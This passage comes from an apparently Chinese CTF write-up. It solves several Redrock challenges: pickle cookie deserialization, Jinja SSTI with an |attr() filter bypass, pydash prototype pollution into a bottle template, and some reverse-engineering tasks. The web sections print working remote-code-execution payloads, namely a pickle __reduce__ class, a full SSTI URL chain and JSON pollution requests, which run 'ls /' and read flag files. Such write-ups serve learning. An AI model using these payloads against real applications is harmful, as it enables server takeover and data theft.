+----------------------------------------+
7
| REDROCK{In5ecur3_m0ck_pre-comp1lation} |
8
+----------------------------------------+

4.6 [简单] pickle#

考点：pickle注入

初来驾到，发现网页一个交互点都没有，所以打开F12，看看里面有什么，结果发现Cookies这里有个test=gASVGwAAAAAAAAB9lIwIdXNlcm5hbWWUjAlyZWRyb2NrZXKUcy4=，拿给AI分析一下，发现这是一个 Python Pickle 序列化 的数据，使用了 Base64 编码，值：{'username': 'redrocket'}

把{'username': 'redrocket'}换成{'username': 'miku'}，发现欢迎 Redrocker变成了欢迎 miku，所以这个点可以操作

竟然我们应该可以操作这个字段了，那么我们可以写一个class，让它执行命令并将执行结果通过异常抛出

先读一下根目录下的文件

1
import pickle
2
import base64
3

4
class RCE:
5
    def __reduce__(self):
6
        return (exec, ("raise Exception(__import__('os').popen('ls /').read())",))
7

8
payload = base64.b64encode(pickle.dumps(RCE()))
9
print(payload.decode())

1
<title>Exception: app
2
    bin
3
    boot
4
    dev
5
    etc
6
    fllllllllag
7
    home
8
    lib
9
    lib64
10
    media
11
    mnt
12
    opt
13
    proc
14
    root
15
    run
16
    sbin
17
    srv
18
    start.sh
19
    sys
20
    tmp
21
    usr
22
    var

展开收起

直接读Flag:

1
import pickle
2
import base64
3

4
class RCE:
5
    def __reduce__(self):
6
        return (exec, ("raise Exception(__import__('os').popen('cat /fllllllllag').read())",))
7

8
payload = base64.b64encode(pickle.dumps(RCE()))
9
print(payload.decode())

1
<title>Exception: Redrock{PIckIE_deSerlALlzaTi0N_5ucce5SFU1_0fe787627c72}

至此，成功得到Flag

4.7 [简单] 猫猫狗狗迷人眼#

考点：SSTI模板注入

call1ing姐姐的提示说报错界面有问题，直接随便输一个路由触发报错，发现Request URL: {{this}}这里含有模板，所以我们来精心构建一个Payload

⚠经过尝试，发现.和[]被隔离了，所以用|attr()

调用链：

1. 起点：空元组 () 从Python内置的空元组对象开始

2. 获取类对象 |attr(‘class’) ().class -> 获取元组类 tuple

3. 获取基类 |attr(‘base’) tuple.base → 获取object类（所有类的基类）

4. 获取所有子类 |attr(‘subclasses’)() object.subclasses() -> 获取Python环境中所有已加载的类列表

5. 选择特定子类 |attr(‘getitem’)(138) 从子类列表中选择第138个 (<class ‘os._wrap_close’>)

6. 获取初始化方法 |attr(‘init’) 获取该类的__init__方法

7. 获取全局命名空间 |attr(‘globals’) init.globals -> 获取该方法所属模块的全局变量字典

8. 找到popen函数 |attr(‘getitem’)(‘popen’) 从全局变量中提取popen函数

9. 执行系统命令 (‘cat /flag’) 调用popen(‘cat /flag’)执行命令读取flag文件

10. 读取命令输出 |attr(‘read’)() 调用read()方法获取命令执行结果

Payload

1
http://127.0.0.1:20039/{{()|attr('__class__')|attr('__base__')|attr('__subclasses__')()|attr('__getitem__')(138)|attr('__init__')|attr('__globals__')|attr('__getitem__')('popen')('cat /flag')|attr('read')()}}

使用这个payload读取到了Flag

1
redrock{S57l_I5_51MP1E_73014b4971ae}

4.8 [困难] pydash meet ssti#

考点：pydash原型链污染；bottle模板注入

首先，利用setVal路由将restricted_key污染

1
http://127.0.0.1:8000/setValue?name=pydash
2
json:
3
{
4
"path": "helpers.RESTRICTED_KEYS",
5
"value": "miku senior sister the master of kali linux"
6
}

少了这个约束条件后我们就可以放开手脚干了

然后，我们来污染bottle的默认报错模板

先看一下根目录下的文件

1
http://127.0.0.1:8000/setValue?name=setval
2
json:
3
{
4
    "path": "__globals__.bottle.ERROR_PAGE_TEMPLATE",
5
    "value": "{{__import__('os').popen('ls /').read()}}"
6
}

随便找一个不存在的路由触发报错，得到

1
app
2
bin
3
boot
4
dev
5
etc
6
fllllllllllllllaaaaaaaaaaaaaaaaaaaag
7
home
8
lib
9
lib64
10
media
11
mnt
12
opt
13
proc
14
root
15
run
16
sbin
17
srv
18
sys
19
tmp
20
usr
21
var

展开收起

现在直接看flag

1
http://127.0.0.1:8000/setValue?name=setval
2
json:
3
{
4
    "path": "__globals__.bottle.ERROR_PAGE_TEMPLATE",
5
    "value": "{{__import__('os').popen('cat /fllllllllllllllaaaaaaaaaaaaaaaaaaaag').read()}}"
6
}

随便找一个不存在的路由触发报错，得到

1
Redrock{55t1_15_e54Y_d859cebdb524}

5.1 [入门] 没手也能做#

这题挺难的，要把手剁了🤣🤣🤣

IDA打开，Shift + F12就看见flag了

5.2 [入门] Start#

跟着提示来就行

1. 进去，肯定是先按F5看反编译的代码：

2. 之后，找到(char *)&flag_part1,这里，点flag_part1两次

3. 按A，得到第一部分flag：flag1: redrock{1d4_15_

4. 点aPressShiftAndF，后面说让你按Shift+F12，得到第二部分flag：4_v3ry_

5. 点一下Format然后按X，继续点flag2_function，然后按X，得到flag3：_1mp0rt4nt_t00l

6. 加上}变成完整flag

5.3 [简单] 位运算#

第一步，我们先拿pyinstxtractor解包一下这个可执行文件

1
pyinstxtractor bitwise

1
[+] Processing bitwise
2
[+] Pyinstaller version: 2.1+
3
[+] Python version: 3.11
4
[+] Length of package: 11747233 bytes
5
[+] Found 11 files in CArchive
6
[+] Beginning extraction...please standby
7
[+] Possible entry point: pyiboot01_bootstrap.pyc
8
[+] Possible entry point: pyi_rth_inspect.pyc
9
[+] Possible entry point: bitwise.pyc
10
[!] Warning: This script is running in a different Python version than the one used to build the executable.
11
[!] Please run this script in Python 3.11 to prevent extraction errors during unmarshalling
12
[!] Skipping pyz extraction
13
[+] Successfully extracted pyinstaller archive: bitwise
14

15
You can now use a python decompiler on the pyc files within the extracted directory

第二步，用pycdc反编译bitwise.pyc文件得到源码（这里我让AI格式化了一下）

1
def check(s: str) -> bool:
2
    if len(s) != 46:
3
        print('Length incorrect')
4
        return False
5

6
    targets_1 = [912, 808, 800, 912, 888, 792, 856, 984]
7
    for ch, tgt in zip(s[:8], targets_1):
8
        if (ord(ch) << 3) != tgt:
9
            return False
10

11
    high = [49, 24, 58, 59, 24, 26, 25]
12
    low  = [0, 1, 0, 1, 1, 1, 1]
13
    for ch, h, l in zip(s[8:15], high, low):
14
        if (ord(ch) >> 1) != h or (ord(ch) & 1) != l:
15
            return False
16

17
    targets_3 = [95, 48, 112, 53, 95, 64, 114, 101, 95]
18
    for ch, tgt in zip(s[15:24], targets_3):
19
        if ord(ch)|0 != tgt:
20
            return False
21

22
    targets_4 = [-100, -49, -110, -110, -49, -111, -96, -50, -111, -96]
23
    for ch, tgt in zip(s[24:34], targets_4):
24
        if (~ord(ch)) != tgt:
25
            return False
26

27
    targets_5 = [1131895, 1131878, 1131811, 1131876, 1131872, 1131851,
28
                 1131808, 1131896, 1131891, 1131812, 1131809, 1131881]
29
    for ch, tgt in zip(s[34:], targets_5):
30
        if (ord(ch) ^ 1131796) != tgt:
31
            return False
32
    return True
33

34

35
if __name__ == '__main__':
36
    test_str = input('Enter the flag: ')
37
    print('Correct flag!' if check(test_str) else 'Incorrect flag!')

OK，现在来看看逻辑

1
targets_1 = [912, 808, 800, 912, 888, 792, 856, 984]
2
    for ch, tgt in zip(s[:8], targets_1):
3
        if (ord(ch) << 3) != tgt:
4
            return False

这里的意思是：输入前 0~7 字节左移三位后（实际上是*2^3）必须等于targets_1中的值

1
high = [49, 24, 58, 59, 24, 26, 25]
2
    low  = [0, 1, 0, 1, 1, 1, 1]
3
    for ch, h, l in zip(s[8:15], high, low):
4
        if (ord(ch) >> 1) != h or (ord(ch) & 1) != l:
5
            return False

这里的意思是：第 8~14 字节的高7位整除2在high中，低7位对2取模在low中

1
targets_3 = [95, 48, 112, 53, 95, 64, 114, 101, 95]
2
    for ch, tgt in zip(s[15:24], targets_3):
3
        if ord(ch)|0 != tgt:
4
            return False

这里的意思是：第 15~23 字节与targets_3对应相等

1
targets_4 = [-100, -49, -110, -110, -49, -111, -96, -50, -111, -96]
2
    for ch, tgt in zip(s[24:34], targets_4):
3
        if (~ord(ch)) != tgt:
4
            return False

这里的意思是：第 24~33 字节按位取反后等于目标

1
targets_5 = [1131895, 1131878, 1131811, 1131876, 1131872, 1131851,
2
                 1131808, 1131896, 1131891, 1131812, 1131809, 1131881]
3
    for ch, tgt in zip(s[34:], targets_5):
4
        if (ord(ch) ^ 1131796) != tgt:
5
            return False